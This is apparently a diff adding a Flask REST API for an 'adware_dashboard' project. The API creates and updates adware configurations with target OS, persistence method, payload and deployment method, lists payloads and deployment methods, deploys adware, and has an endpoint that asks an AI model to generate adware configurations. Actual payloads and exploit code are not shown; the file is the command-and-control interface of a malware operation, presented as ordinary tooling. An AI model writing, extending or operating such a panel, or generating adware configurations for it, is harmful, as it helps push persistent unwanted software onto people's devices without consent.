1+ import logging
2+ from flask import Flask , request , jsonify
3+ from adware_dashboard .core .adware_manager import AdwareManager
4+ from adware_dashboard .core .payload_manager import PayloadManager
5+ from adware_dashboard .core .deployment_manager import DeploymentManager
6+ from adware_dashboard .core .ai_integration import AIIntegration
7+ from adware_dashboard .models import Adware , Payload , DeploymentMethod
8+ from adware_dashboard .api .serializers import AdwareSerializer , PayloadSerializer , DeploymentMethodSerializer
9+ from adware_dashboard .api .utils import validate_input
10+
11+ def create_api_app (logger : logging .Logger , adware_manager : AdwareManager , payload_manager : PayloadManager , deployment_manager : DeploymentManager , ai_integration : AIIntegration ) -> Flask :
12+ """
13+ Creates and configures the Flask API application.
14+
15+ Args:
16+ logger (logging.Logger): The logger instance to use.
17+ adware_manager (AdwareManager): The adware manager instance.
18+ payload_manager (PayloadManager): The payload manager instance.
19+ deployment_manager (DeploymentManager): The deployment manager instance.
20+ ai_integration (AIIntegration): The AI integration instance.
21+
22+ Returns:
23+ Flask: The configured Flask application.
24+ """
25+ app = Flask (__name__ )
26+
27+ @app .route ('/adware' , methods = ['POST' ])
28+ @validate_input (AdwareSerializer )
29+ def create_adware ():
30+ """
31+ Creates a new adware configuration.
32+ """
33+ data = request .get_json ()
34+ try :
35+ adware = adware_manager .create_adware (
36+ name = data ['name' ],
37+ description = data ['description' ],
38+ target_os = data ['target_os' ],
39+ persistence_method = data ['persistence_method' ],
40+ payload_id = data ['payload_id' ],
41+ deployment_method_id = data ['deployment_method_id' ],
42+ config = data ['config' ]
43+ )
44+ return jsonify (AdwareSerializer .serialize (adware )), 201
45+ except ValueError as e :
46+ return jsonify ({'error' : str (e )}), 400
47+
48+ @app .route ('/adware/<int:adware_id>' , methods = ['GET' ])
49+ def get_adware (adware_id ):
50+ """
51+ Retrieves an adware configuration by its ID.
52+ """
53+ adware = adware_manager .get_adware (adware_id )
54+ if adware :
55+ return jsonify (AdwareSerializer .serialize (adware )), 200
56+ return jsonify ({'error' : 'Adware not found' }), 404
57+
58+ @app .route ('/adware/<int:adware_id>' , methods = ['PUT' ])
59+ @validate_input (AdwareSerializer , partial = True )
60+ def update_adware (adware_id ):
61+ """
62+ Updates an existing adware configuration.
63+ """
64+ data = request .get_json ()
65+ try :
66+ adware = adware_manager .update_adware (adware_id , ** data )
67+ if adware :
68+ return jsonify (AdwareSerializer .serialize (adware )), 200
69+ return jsonify ({'error' : 'Adware not found' }), 404
70+ except ValueError as e :
71+ return jsonify ({'error' : str (e )}), 400
72+
73+ @app .route ('/adware/<int:adware_id>' , methods = ['DELETE' ])
74+ def delete_adware (adware_id ):
75+ """
76+ Deletes an adware configuration by its ID.
77+ """
78+ if adware_manager .delete_adware (adware_id ):
79+ return jsonify ({'message' : 'Adware deleted successfully' }), 200
80+ return jsonify ({'error' : 'Adware not found' }), 404
81+
82+ @app .route ('/adware' , methods = ['GET' ])
83+ def list_adware ():
84+ """
85+ Lists all adware configurations.
86+ """
87+ adware_list = adware_manager .list_adware ()
88+ return jsonify ([AdwareSerializer .serialize (adware ) for adware in adware_list ]), 200
89+
90+ @app .route ('/adware/<int:adware_id>/deploy' , methods = ['POST' ])
91+ def deploy_adware (adware_id ):
92+ """
93+ Deploys an adware configuration.
94+ """
95+ if adware_manager .deploy_adware (adware_id ):
96+ return jsonify ({'message' : 'Adware deployed successfully' }), 200
97+ return jsonify ({'error' : 'Adware not found or deployment failed' }), 404
98+
99+ @app .route ('/payloads' , methods = ['GET' ])
100+ def list_payloads ():
101+ """
102+ Lists all available payloads.
103+ """
104+ payload_list = payload_manager .list_payloads ()
105+ return jsonify ([PayloadSerializer .serialize (payload ) for payload in payload_list ]), 200
106+
107+ @app .route ('/deployment_methods' , methods = ['GET' ])
108+ def list_deployment_methods ():
109+ """
110+ Lists all available deployment methods.
111+ """
112+ deployment_method_list = deployment_manager .list_deployment_methods ()
113+ return jsonify ([DeploymentMethodSerializer .serialize (deployment_method ) for deployment_method in deployment_method_list ]), 200
114+
115+ @app .route ('/ai/generate' , methods = ['POST' ])
116+ def generate_ai_config ():
117+ """
118+ Generates an adware configuration using the AI model.
119+ """
120+ data = request .get_json ()
121+ try :
122+ config = ai_integration .generate_adware_config (data ['goal' ], data .get ('constraints' ))
123+ return jsonify (config ), 200
124+ except ValueError as e :
125+ return jsonify ({'error' : str (e )}), 400
126+
127+ return app
0 commit comments